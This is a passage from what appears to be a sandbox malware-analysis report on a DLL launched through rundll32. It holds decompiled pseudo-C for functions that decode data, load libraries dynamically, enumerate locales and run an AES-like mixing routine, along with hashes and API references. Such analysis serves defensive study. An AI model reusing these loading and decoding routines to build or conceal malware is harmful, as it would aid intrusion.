				_t262 =  *((intOrPtr*)(_t217 + 8));
				if (_t262 == 0) goto 0xf472261e;
				_t193 =  *_t217;
				_t105 = _t280[_t193] & 0x000000ff;
				 *_t262 = _t105;
				goto 0xf472261e;
				_t263 =  *((intOrPtr*)(_t217 + 0x10));
				if (_t193 != _t263) goto 0xf4722610;
				if (_t263 - _t193 - 1 >= 0) goto 0xf4722610;
				_t304 =  *_t217;
				_t233 = _t304 - _t193 - 1;
				if (_t233 - 1 < 0) goto 0xf472264b;
				_t264 = _t263 - _t304;
				_t306 = _t264 >> 1;
				if ((_t233 | 0xffffffff) - _t306 - _t264 >= 0) goto 0xf47225fe;
				goto 0xf4722601;
				_t266 =  <  ? _t193 - _t304 + 1 : _t264 + _t306;
				E000007FE7FEF4723040(_t193 - _t304 + 1, _t217,  <  ? _t193 - _t304 + 1 : _t264 + _t306, _t297);
				_t237 =  *((intOrPtr*)(_t217 + 8));
				if (_t237 == 0) goto 0xf472261e;
				 *_t237 =  *_t280 & 0x000000ff;
				 *((long long*)(_t217 + 8)) =  *((long long*)(_t217 + 8)) + 1;
				if (_t289 + 1 - 3 < 0) goto 0xf4722530;
				r13d = 0;
				if (r12d == 0) goto 0xf4722658;
				goto 0xf4722450;
				E000007FE7FEF47589A8(_t105, 0, 0, _t128, r12d, _t193 - _t304 + 1, _t217, "vector<T> too long", _t280, _t289 + 1, _t306, _t314);
				asm("int3");
				E000007FE7FEF47589A8(_t105, 0, 0, _t128, r12d, _t193 - _t304 + 1, _t217, "vector<T> too long", _t280, _t289 + 1, _t306, _t314);
				asm("int3");
				if (r13d == 0) goto 0xf4722888;
				_t196 = r13d;
				_t155 = _t196 - 4;
				if (_t155 >= 0) goto 0xf4722682;
				if (_t155 >= 0) goto 0xf472267c;
				 *((char*)(_t297 + _t196 - 0x30)) = 0;
				_t197 = _t196 + 1;
				if (_t197 - 4 < 0) goto 0xf472266a;
				goto 0xf4722682;
				E000007FE7FEF4741A9C();
				asm("int3");
				r15d = 0;
				_t291 =  *0xf4778c20; // 0x40
				r14d =  *(_t297 + _t319 - 0x30) & 0x000000ff;
				if (_t291 == 0) goto 0xf472270d;
				if (_t291 - 1 < 0) goto 0xf472270d;
				_t282 =  >=  ?  *0xf4778c10 : 0xf4778c10;
				if (_t291 == 0) goto 0xf4722706;
				memchr(??, ??, ??);
				if (_t197 == 0) goto 0xf4722706;
				if ( *_t197 == r14b) goto 0xf47226e7;
				_t283 = ( >=  ?  *0xf4778c10 : 0xf4778c10) - _t197;
				_t284 = ( >=  ?  *0xf4778c10 : 0xf4778c10) - _t197 - 1;
				_t292 = _t291 + ( >=  ?  *0xf4778c10 : 0xf4778c10) - _t197 - 1;
				goto 0xf47226b7;
				_t199 =  >=  ?  *0xf4778c10 : 0xf4778c10;
				_t242 = _t197 - ( >=  ?  *0xf4778c10 : 0xf4778c10);
				goto 0xf4722711;
				_t243 = _t197 - ( >=  ?  *0xf4778c10 : 0xf4778c10) | 0xffffffff;
				 *(_t297 + _t319 - 0x30) = _t105;
				if (_t319 + 1 - 4 < 0) goto 0xf4722693;
				_t119 = _v103 & 0x000000ff;
				_v80 = ((_t119 & 0x000000ff) >> 0x00000004 & 0x00000003) + ((_v104 & 0x000000ff) << 2);
				_t110 = _v102 & 0x000000ff;
				_v79 = ((_t110 & 0x000000ff) >> 0x00000002 & 0x0000000f) + (_t119 << 4);
				_v78 = (_t110 << 6) + _v101;
				r14d = 0;
				r13d = r13d - 1;
				if (r13d <= 0) goto 0xf4722888;
				_t286 =  &_v80;
				_t244 =  *((intOrPtr*)(_t217 + 8));
				if (_t286 - _t244 >= 0) goto 0xf47227f4;
				_t308 =  *_t217;
				if (_t308 - _t286 > 0) goto 0xf47227f4;
				_t267 =  *((intOrPtr*)(_t217 + 0x10));
				if (_t244 != _t267) goto 0xf47227e0;
				if (_t267 - _t244 - 1 >= 0) goto 0xf47227e0;
				_t204 = _t308 - _t244 - 1;
				if (_t204 - 1 < 0) goto 0xf472286e;
				_t268 = _t267 - _t308;
				_t310 = _t268 >> 1;
				if ((_t204 | 0xffffffff) - _t310 - _t268 >= 0) goto 0xf47227ce;
				goto 0xf47227d1;
				_t270 =  <  ? _t244 - _t308 + 1 : _t268 + _t310;
				_t247 = _t217;
				E000007FE7FEF4723040((_t204 | 0xffffffff) - _t310, _t247,  <  ? _t244 - _t308 + 1 : _t268 + _t310, _t297);
				_t271 =  *((intOrPtr*)(_t217 + 8));
				if (_t271 == 0) goto 0xf472285a;
				 *_t271 =  *(_t286 - _t308 +  *_t217) & 0x000000ff;
				goto 0xf472285a;
				_t272 =  *((intOrPtr*)(_t217 + 0x10));
				if (_t247 != _t272) goto 0xf472284c;
				if (_t272 - _t247 - 1 >= 0) goto 0xf472284c;
				_t311 =  *_t217;
				_t212 = _t311 - _t247 - 1;
				if (_t212 - 1 < 0) goto 0xf472287b;
				_t273 = _t272 - _t311;
				_t313 = _t273 >> 1;
				if ((_t212 | 0xffffffff) - _t313 - _t273 >= 0) goto 0xf472283a;
				goto 0xf472283d;
				_t275 =  <  ? _t247 - _t311 + 1 : _t273 + _t313;
				E000007FE7FEF4723040((_t212 | 0xffffffff) - _t313, _t217,  <  ? _t247 - _t311 + 1 : _t273 + _t313, _t297);
				_t251 =  *((intOrPtr*)(_t217 + 8));
				if (_t251 == 0) goto 0xf472285a;
				 *_t251 =  *_t286 & 0x000000ff;
				 *((long long*)(_t217 + 8)) =  *((long long*)(_t217 + 8)) + 1;
				r14d = r14d + 1;
				if (r14d - r13d >= 0) goto 0xf4722888;
				goto 0xf4722770;
				E000007FE7FEF47589A8( *(_t286 - _t308 +  *_t217) & 0x000000ff, 0, 0, _t128, r14d - r13d, (_t212 | 0xffffffff) - _t313, _t217, "vector<T> too long",  &(_t286[1]), _t286 - _t308, _t313, _t314);
				asm("int3");
				E000007FE7FEF47589A8( *(_t286 - _t308 +  *_t217) & 0x000000ff, 0, 0, _t128, r14d - r13d, (_t212 | 0xffffffff) - _t313, _t217, "vector<T> too long",  &(_t286[1]), _t286 - _t308, _t313, _t314);
				asm("int3");
				return E000007FE7FEF4740F90( *(_t286 - _t308 +  *_t217) & 0x000000ff, 0, 0, _t128, _v64 ^ _t298 - 0x00000050,  <  ? _t247 - _t311 + 1 : _t273 + _t313, _t313);
			}

0x7fef47223ec
0x7fef47223f3
0x7fef47223fb
0x7fef4722403
0x7fef472240a
0x7fef472240d
0x7fef4722414
0x7fef4722417
0x7fef472241b
0x7fef4722426
0x7fef472242b
0x7fef472242e
0x7fef4722432
0x7fef4722436
0x7fef4722440
0x7fef4722446
0x7fef4722450
0x7fef4722453
0x7fef472245b
0x7fef4722460
0x7fef472246a
0x7fef4722474
0x7fef4722479
0x7fef472248c
0x7fef472248e
0x7fef4722496
0x7fef47224a1
0x7fef47224a6
0x7fef47224b0
0x7fef47224b4
0x7fef47224b7
0x7fef47224ba
0x7fef47224c1
0x7fef47224d5
0x7fef47224e1
0x7fef47224ec
0x7fef47224ee
0x7fef4722504
0x7fef4722507
0x7fef4722518
0x7fef4722521
0x7fef4722526
0x7fef4722530
0x7fef4722538
0x7fef472253e
0x7fef4722540
0x7fef4722546
0x7fef4722548
0x7fef472254b
0x7fef4722552
0x7fef472255e
0x7fef4722566
0x7fef472256d
0x7fef4722579
0x7fef472257f
0x7fef472258c
0x7fef4722590
0x7fef4722598
0x7fef472259f
0x7fef47225a4
0x7fef47225ab
0x7fef47225ad
0x7fef47225b0
0x7fef47225b4
0x7fef47225b6
0x7fef47225b8
0x7fef47225bf
0x7fef47225cb
0x7fef47225cd
0x7fef47225d6
0x7fef47225dd
0x7fef47225e5
0x7fef47225eb
0x7fef47225f8
0x7fef47225fc
0x7fef4722604
0x7fef472260b
0x7fef4722610
0x7fef4722617
0x7fef472261c
0x7fef472261e
0x7fef4722629
0x7fef472262f
0x7fef4722637
0x7fef4722639
0x7fef4722645
0x7fef472264a
0x7fef4722652
0x7fef4722657
0x7fef472265b
0x7fef4722661
0x7fef4722664
0x7fef4722668
0x7fef472266a
0x7fef472266c
0x7fef4722671
0x7fef4722678
0x7fef472267a
0x7fef472267c
0x7fef4722681
0x7fef4722682
0x7fef472268c
0x7fef4722693
0x7fef472269c
0x7fef47226a2
0x7fef47226af
0x7fef47226ba
0x7fef47226c6
0x7fef47226d1
0x7fef47226d6
0x7fef47226d8
0x7fef47226db
0x7fef47226de
0x7fef47226e5
0x7fef47226f2
0x7fef47226fa
0x7fef4722704
0x7fef472270d
0x7fef4722711
0x7fef472271d
0x7fef4722723
0x7fef4722739
0x7fef472273c
0x7fef472274d
0x7fef4722756
0x7fef4722759
0x7fef472275c
0x7fef4722762
0x7fef4722768
0x7fef4722770
0x7fef4722777
0x7fef4722779
0x7fef472277f
0x7fef4722787
0x7fef472278e
0x7fef472279a
0x7fef47227a2
0x7fef47227a9
0x7fef47227b5
0x7fef47227bb
0x7fef47227c8
0x7fef47227cc
0x7fef47227d4
0x7fef47227d8
0x7fef47227db
0x7fef47227e0
0x7fef47227e7
0x7fef47227f0
0x7fef47227f2
0x7fef47227f4
0x7fef47227fb
0x7fef4722807
0x7fef4722809
0x7fef4722812
0x7fef4722819
0x7fef4722821
0x7fef4722827
0x7fef4722834
0x7fef4722838
0x7fef4722840
0x7fef4722847
0x7fef472284c
0x7fef4722853
0x7fef4722858
0x7fef472285a
0x7fef472285e
0x7fef4722867
0x7fef4722869
0x7fef4722875
0x7fef472287a
0x7fef4722882
0x7fef4722887
0x7fef47228ae

APIs

isalnum.LIBCMT ref: 000007FEF4722485
memchr.LIBCMT ref: 000007FEF47226C6

Part of subcall function 000007FEF4741A9C: __report_securityfailure.LIBCMT ref: 000007FEF4741AA5

Strings

vector<T> too long, xrefs: 000007FEF472263E, 000007FEF472264B, 000007FEF472286E, 000007FEF472287B

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: __report_securityfailureisalnummemchr
String ID: vector<T> too long
API String ID: 3774932677-3788999226
Opcode ID: f6d7d58de2e294728c63156742e24f0682be6a81404464b45682702b08b78a97
Instruction ID: c4e54ca9411284fa6842a1be6305b40776f7d4807653a1a3919f743ef481cd3f
Opcode Fuzzy Hash: f6d7d58de2e294728c63156742e24f0682be6a81404464b45682702b08b78a97
Instruction Fuzzy Hash: 96D15662F1F682C5FF858B35C5247B86BE1E315B94F548630CE2E27BE5DAACE2458700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4738BC0 Relevance: 4.6, APIs: 3, Instructions: 128
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF4738BC0(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, long long __rbx, void* __rcx, char* __rdx, long long __rsi, void* __r9, void* __r11) {
				void* __rbp;
				void* __r14;
				void* _t92;
				void* _t109;
				signed long long _t110;
				signed long long _t111;
				void* _t117;
				void* _t119;
				void* _t121;
				void* _t142;
				char* _t148;
				void* _t152;
				void* _t153;
				signed long long _t154;
				signed long long _t166;

				_t119 = __rcx;
				_t89 = __edx;
				_t109 = _t153;
				_t152 = _t109 - 0x208;
				_t154 = _t153 - 0x2f0;
				 *((long long*)(_t154 + 0x40)) = 0xfffffffe;
				 *((long long*)(_t109 + 0x18)) = __rbx;
				 *((long long*)(_t109 + 0x20)) = __rsi;
				_t110 =  *0xf4777530; // 0xf9634ebbaa1d
				_t111 = _t110 ^ _t154;
				 *(_t152 + 0x1e0) = _t111;
				_t148 = __rdx;
				_t117 = __rcx;
				 *((long long*)(_t154 + 0x60)) = 7;
				r14d = 0;
				 *(_t154 + 0x58) = _t166;
				 *((intOrPtr*)(_t154 + 0x48)) = r14w;
				_t9 = _t119 + 0x580; // 0x580
				E000007FE7FEF4734050(E000007FE7FEF47234E0(__edx, __edi, __esi, __eflags, __rcx, _t152 - 0x58, _t9, __r9, __r11), __esi, _t154 + 0x68, __rsi, _t152 - 0x58);
				_t121 =  >=  ?  *((void*)(_t154 + 0x68)) : _t154 + 0x68;
				LoadLibraryW(??);
				_t16 = _t117 + 0x640; // 0x640
				E000007FE7FEF47234E0(_t89, __edi, __esi,  *((long long*)(_t152 - 0x80)) - 8, _t117, _t152 - 0x78, _t16, __r9, __r11);
				_t142 =  >=  ?  *((void*)(_t152 - 0x78)) : _t152 - 0x78;
				GetProcAddress(??, ??);
				if (_t111 == 0) goto 0xf4738c85;
				 *_t111();
				FreeLibrary(??);
				if ( *((short*)(_t152 - 0x30)) != 0) goto 0xf4738c9a;
				goto 0xf4738cad;
				if ( *((short*)(_t152 - 0x30 + ((_t166 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4738ca2;
				E000007FE7FEF4728E10(_t117, _t154 + 0x48, _t152 - 0x30, _t111, (_t166 | 0xffffffff) + 1);
				_t126 =  >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48;
				_t162 = ( >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48) + ( *(_t154 + 0x58) + 0xfffffffa) * 2;
				_t146 =  >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48;
				 *((long long*)(_t154 + 0x38)) = 0xf;
				 *(_t154 + 0x30) = _t166;
				 *((char*)(_t154 + 0x20)) = 0;
				E000007FE7FEF473F620(_t117, _t154 + 0x20,  >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48, _t111, _t152, ( >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48) + ( *(_t154 + 0x58) + 0xfffffffa) * 2, _t166);
				if (_t148 == _t154 + 0x20) goto 0xf4738d3c;
				if ( *((long long*)(_t148 + 0x18)) - 0x10 < 0) goto 0xf4738d20;
				E000007FE7FEF4741974( *_t148);
				 *((long long*)(_t148 + 0x18)) = 0xf;
				 *(_t148 + 0x10) = _t166;
				 *_t148 = 0;
				E000007FE7FEF47229E0(_t117, _t148, _t154 + 0x20);
				if ( *((long long*)(_t154 + 0x38)) - 0x10 < 0) goto 0xf4738d4f;
				E000007FE7FEF4741974( *((intOrPtr*)(_t154 + 0x20)));
				if ( *((long long*)(_t152 - 0x60)) - 0x10 < 0) goto 0xf4738d5f;
				E000007FE7FEF4741974( *((intOrPtr*)(_t152 - 0x78)));
				 *((long long*)(_t152 - 0x60)) = 0xf;
				 *(_t152 - 0x68) = _t166;
				 *((char*)(_t152 - 0x78)) = 0;
				if ( *((long long*)(_t152 - 0x80)) - 8 < 0) goto 0xf4738d80;
				E000007FE7FEF4741974( *((intOrPtr*)(_t154 + 0x68)));
				 *((long long*)(_t152 - 0x80)) = 7;
				 *(_t154 + 0x78) = _t166;
				 *((intOrPtr*)(_t154 + 0x68)) = r14w;
				if ( *((long long*)(_t152 - 0x40)) - 0x10 < 0) goto 0xf4738da3;
				E000007FE7FEF4741974( *((intOrPtr*)(_t152 - 0x58)));
				 *((long long*)(_t152 - 0x40)) = 0xf;
				 *(_t152 - 0x48) = _t166;
				 *((char*)(_t152 - 0x58)) = 0;
				if ( *((long long*)(_t154 + 0x60)) - 8 < 0) goto 0xf4738dc5;
				E000007FE7FEF4741974( *((intOrPtr*)(_t154 + 0x48)));
				return E000007FE7FEF4740F90(0x104, __edi, __esi, _t92,  *(_t152 + 0x1e0) ^ _t154, _t154 + 0x20, ( >=  ?  *((void*)(_t154 + 0x48)) : _t154 + 0x48) + ( *(_t154 + 0x58) + 0xfffffffa) * 2);
			}

0x7fef4738bc0
0x7fef4738bc0
0x7fef4738bc0
0x7fef4738bc7
0x7fef4738bce
0x7fef4738bd5
0x7fef4738bde
0x7fef4738be2
0x7fef4738be6
0x7fef4738bed
0x7fef4738bf0
0x7fef4738bf7
0x7fef4738bfa
0x7fef4738bfd
0x7fef4738c06
0x7fef4738c09
0x7fef4738c0e
0x7fef4738c14
0x7fef4738c2e
0x7fef4738c3e
0x7fef4738c44
0x7fef4738c4d
0x7fef4738c58
0x7fef4738c67
0x7fef4738c6f
0x7fef4738c78
0x7fef4738c83
0x7fef4738c88
0x7fef4738c93
0x7fef4738c98
0x7fef4738cab
0x7fef4738cb6
0x7fef4738cc6
0x7fef4738cd5
0x7fef4738ce4
0x7fef4738cea
0x7fef4738cf3
0x7fef4738cf8
0x7fef4738d02
0x7fef4738d0f
0x7fef4738d16
0x7fef4738d1b
0x7fef4738d20
0x7fef4738d28
0x7fef4738d2c
0x7fef4738d37
0x7fef4738d42
0x7fef4738d49
0x7fef4738d54
0x7fef4738d5a
0x7fef4738d5f
0x7fef4738d67
0x7fef4738d6b
0x7fef4738d74
0x7fef4738d7b
0x7fef4738d80
0x7fef4738d88
0x7fef4738d8d
0x7fef4738d98
0x7fef4738d9e
0x7fef4738da3
0x7fef4738dab
0x7fef4738daf
0x7fef4738db9
0x7fef4738dc0
0x7fef4738df0

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF4738C44
GetProcAddress.KERNEL32 ref: 000007FEF4738C6F
FreeLibrary.KERNEL32 ref: 000007FEF4738C88

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID:
API String ID: 145871493-0
Opcode ID: 2f7e7cd20355c27cc8e1b8d3386a506d7a4d8c4d85fd8b579f98a29ca94fb97e
Instruction ID: d33910e826cc9961fe8009a8a574fac33356076e42ad251cd45d1d6040b65310
Opcode Fuzzy Hash: 2f7e7cd20355c27cc8e1b8d3386a506d7a4d8c4d85fd8b579f98a29ca94fb97e
Instruction Fuzzy Hash: 2A51A932A0DB81C5FB50DB64E8843AC67B2F784398F500225EA9D57AFACF79E595C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47514AC Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF47514AC() {
				void* _t1;

				if (_t1 == 0) goto 0xf47514ca;
				r9d = 0;
				goto __rax;
			}

0x7fef47514be
0x7fef47514c0
0x7fef47514c7

APIs

EnumSystemLocalesW.KERNEL32(?,?,?,?,000007FEF474FFFB,?,?,00000140,000007FEF47506CB), ref: 000007FEF47514DD

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a8630bb7a597b43613552f5158cdbb54267ed628fbf394822cff854c42f07579
Instruction ID: 8e1ed70dd3449323204a193636411739a1211cec5275d00ca5041a9e81b6ed8a
Opcode Fuzzy Hash: a8630bb7a597b43613552f5158cdbb54267ed628fbf394822cff854c42f07579
Instruction Fuzzy Hash: FEE0B621E1EA02C6F7844B11F889B3132E1B758309FC01121840C4A6B8DB6CA2958740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4721470 Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4721470(signed int _a8, signed char _a16, signed int _a24, signed int _a32) {
				long long _v80;
				signed char _t290;
				signed char _t291;
				signed char _t292;
				signed char _t294;
				unsigned char _t403;
				unsigned char _t416;
				unsigned char _t429;
				intOrPtr _t455;
				signed int* _t456;
				signed int* _t461;
				signed int** _t462;

				_t455 =  *0xf477b148; // 0x3028f40
				_v80 = 4;
				_t456 = _t455 + 2;
				 *_t462 = _t456;
				r9d =  *(_t456 - 2) & 0x000000ff;
				r8d =  *(_t456 - 1) & 0x000000ff;
				r12d = _t456[0] & 0x000000ff;
				r14d = r9b & 0xffffffff;
				_t294 = (r9b & 0xffffffff) >> 7;
				_a24 = r9b;
				r13d = r8b & 0xffffffff;
				r14b = r14b + r14b;
				r13b = r13b + r13b;
				_a8 = r8b;
				sil = sil + sil;
				r14b = r14b ^ 0x0000001b;
				_a32 = 0x1b * _t294;
				_a16 = 0x1b * _t294 >> 0x20;
				bpl = bpl + bpl;
				r11d = 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r11b = r11b ^ (r14b & 0xffffffff) + (r14b & 0xffffffff);
				r13b = r13b ^ 0x0000001b;
				_t291 = 0x0000001b * ((r8b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r10d = 0x0000001b * ((r13b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r10b = r10b ^ (r13b & 0xffffffff) + (r13b & 0xffffffff);
				sil = sil ^ 0x0000001b;
				r8d = 0x0000001b * ((sil & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r8b = r8b ^ (sil & 0xffffffff) + (sil & 0xffffffff);
				bpl = bpl ^ 0x0000001b;
				r15d = 0x0000001b * ((r12b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				_t403 = 0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff);
				r9d = _t403 & 0x000000ff;
				r9b = r9b ^ r8b;
				r9b = r9b ^ sil;
				r9b = r9b ^ r10b;
				r9b = r9b ^ r11b;
				r9b = r9b ^ r14b;
				r9b = r9b ^ _a8;
				r9b = r9b ^ _a24;
				r9b = r9b + r9b;
				r10b = r10b >> 7;
				r8b = r8b >> 7;
				r11b = r11b >> 7;
				r9b = r9b ^ 0x0000001b * (_t403 >> 0x00000007);
				r9b = r9b ^ 0x0000001b * r8b;
				r9b = r9b ^ 0x0000001b * ((sil & 0xffffffff) >> 0x00000007);
				r9b = r9b ^ 0x0000001b * r10b;
				r9b = r9b ^ 0x0000001b * r11b;
				r9b = r9b ^ 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007);
				r9b = r9b ^ _t291;
				r9b = r9b ^ _a32;
				r9b = r9b ^ r12b;
				r9b = r9b ^ _a16;
				r9b = r9b ^ _a8;
				 *( *_t462 - 2) = r9b;
				r11d = 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r11b = r11b ^ (r14b & 0xffffffff) + (r14b & 0xffffffff);
				r9d = 0x0000001b * ((r13b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r9b = r9b ^ (r13b & 0xffffffff) + (r13b & 0xffffffff);
				r8d = 0x0000001b * ((sil & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r8b = r8b ^ (sil & 0xffffffff) + (sil & 0xffffffff);
				_t416 = 0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff);
				r10d = _t416 & 0x000000ff;
				r10b = r10b ^ bpl;
				r10b = r10b ^ r8b;
				r10b = r10b ^ r9b;
				r10b = r10b ^ r13b;
				r10b = r10b ^ r11b;
				r10b = r10b ^ _a16;
				r10b = r10b ^ _a8;
				r10b = r10b + r10b;
				r10b = r10b ^ 0x0000001b * (_t416 >> 0x00000007);
				r10b = r10b ^ 0x0000001b * ((bpl & 0xffffffff) >> 0x00000007);
				r8b = r8b >> 7;
				r9b = r9b >> 7;
				r11b = r11b >> 7;
				r10b = r10b ^ 0x0000001b * r8b;
				r10b = r10b ^ 0x0000001b * r9b;
				r10b = r10b ^ 0x0000001b * ((r13b & 0xffffffff) >> 0x00000007);
				r10b = r10b ^ 0x0000001b * r11b;
				r10b = r10b ^ dil;
				r10b = r10b ^ _t291;
				_t292 = _a16 & 0x000000ff;
				r10b = r10b ^ r12b;
				r10b = r10b ^ _t292;
				r10b = r10b ^ _a24;
				 *( *_t462 - 1) = r10b;
				r11d = 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r11b = r11b ^ (r14b & 0xffffffff) + (r14b & 0xffffffff);
				r9d = 0x0000001b * ((r13b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r9b = r9b ^ (r13b & 0xffffffff) + (r13b & 0xffffffff);
				r8d = 0x0000001b * ((sil & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r8b = r8b ^ (sil & 0xffffffff) + (sil & 0xffffffff);
				_t429 = 0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff);
				r10d = _t429 & 0x000000ff;
				r10b = r10b ^ r8b;
				r8b = r8b >> 7;
				r10b = r10b ^ sil;
				r10b = r10b ^ r9b;
				r10b = r10b ^ r11b;
				r10b = r10b ^ r14b;
				r10b = r10b ^ r12b;
				r10b = r10b ^ _t292;
				r10b = r10b + r10b;
				r10b = r10b ^ 0x0000001b * (_t429 >> 0x00000007);
				r10b = r10b ^ 0x0000001b * r8b;
				r10b = r10b ^ 0x0000001b * ((sil & 0xffffffff) >> 0x00000007);
				r9b = r9b >> 7;
				r11b = r11b >> 7;
				r10b = r10b ^ 0x0000001b * r9b;
				r10b = r10b ^ 0x0000001b * r11b;
				r14b = r14b + r14b;
				r10b = r10b ^ 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007);
				r10b = r10b ^ r15b;
				r10b = r10b ^ dil;
				r10b = r10b ^ r12b;
				r10b = r10b ^ _a8;
				r10b = r10b ^ dil;
				 *( *_t462) = r10b;
				r10d = 0x0000001b * ((r14b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r10b = r10b ^ r14b;
				r9d = 0x0000001b * ((r13b & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r9b = r9b ^ (r13b & 0xffffffff) + (r13b & 0xffffffff);
				sil = sil + sil;
				r8d = 0x0000001b * ((sil & 0xffffffff) >> 0x00000007) & 0x000000ff;
				r8b = r8b ^ sil;
				bpl = bpl >> 7;
				r8b = r8b >> 7;
				r9b = r9b >> 7;
				r13b = r13b >> 7;
				r10b = r10b >> 7;
				_t290 = 0x1b * r10b;
				_t461 =  &(( *_t462)[1]);
				 *_t462 = _t461;
				_t200 =  &_v80;
				 *_t200 = _v80 - 1;
				 *(_t461 - 3) = ((0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff)) & 0x000000ff ^ bpl ^ r8b ^ r9b ^ r13b ^ r10b ^ r12b ^ dil) + ((0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff)) & 0x000000ff ^ bpl ^ r8b ^ r9b ^ r13b ^ r10b ^ r12b ^ dil) ^ 0x0000001b * ((0x0000001b * ((bpl & 0xffffffff) >> 0x00000007) & 0x000000ff ^ (bpl & 0xffffffff) + (bpl & 0xffffffff)) >> 0x00000007) ^ 0x0000001b * bpl ^ 0x0000001b * r8b ^ 0x0000001b * r9b ^ 0x0000001b * r13b ^ _t290 ^ r15b ^ _a32 ^ _t292 ^ _a8 ^ dil;
				if ( *_t200 != 0) goto 0xf47214a0;
				return _t290;
			}

0x7fef4721481
0x7fef4721488
0x7fef4721491
0x7fef4721495
0x7fef47214a0
0x7fef47214a5
0x7fef47214ad
0x7fef47214b6
0x7fef47214ba
0x7fef47214bd
0x7fef47214c5
0x7fef47214c9
0x7fef47214ce
0x7fef47214d1
0x7fef47214d6
0x7fef47214db
0x7fef47214de
0x7fef47214e8
0x7fef47214f3
0x7fef47214fe
0x7fef4721504
0x7fef4721510
0x7fef4721513
0x7fef4721527
0x7fef472152d
0x7fef4721538
0x7fef472154f
0x7fef4721555
0x7fef4721561
0x7fef4721564
0x7fef472157c
0x7fef472157e
0x7fef4721582
0x7fef4721585
0x7fef4721588
0x7fef472158b
0x7fef472158e
0x7fef4721591
0x7fef4721596
0x7fef472159b
0x7fef47215a1
0x7fef47215a5
0x7fef47215a9
0x7fef47215b8
0x7fef47215c0
0x7fef47215cb
0x7fef47215d6
0x7fef47215de
0x7fef47215e9
0x7fef47215f3
0x7fef47215f6
0x7fef47215fb
0x7fef47215fe
0x7fef4721603
0x7fef4721608
0x7fef4721610
0x7fef472161c
0x7fef472162e
0x7fef4721634
0x7fef4721646
0x7fef472164c
0x7fef4721663
0x7fef4721669
0x7fef4721673
0x7fef4721676
0x7fef4721679
0x7fef472167e
0x7fef4721681
0x7fef4721684
0x7fef4721689
0x7fef472168e
0x7fef4721691
0x7fef4721698
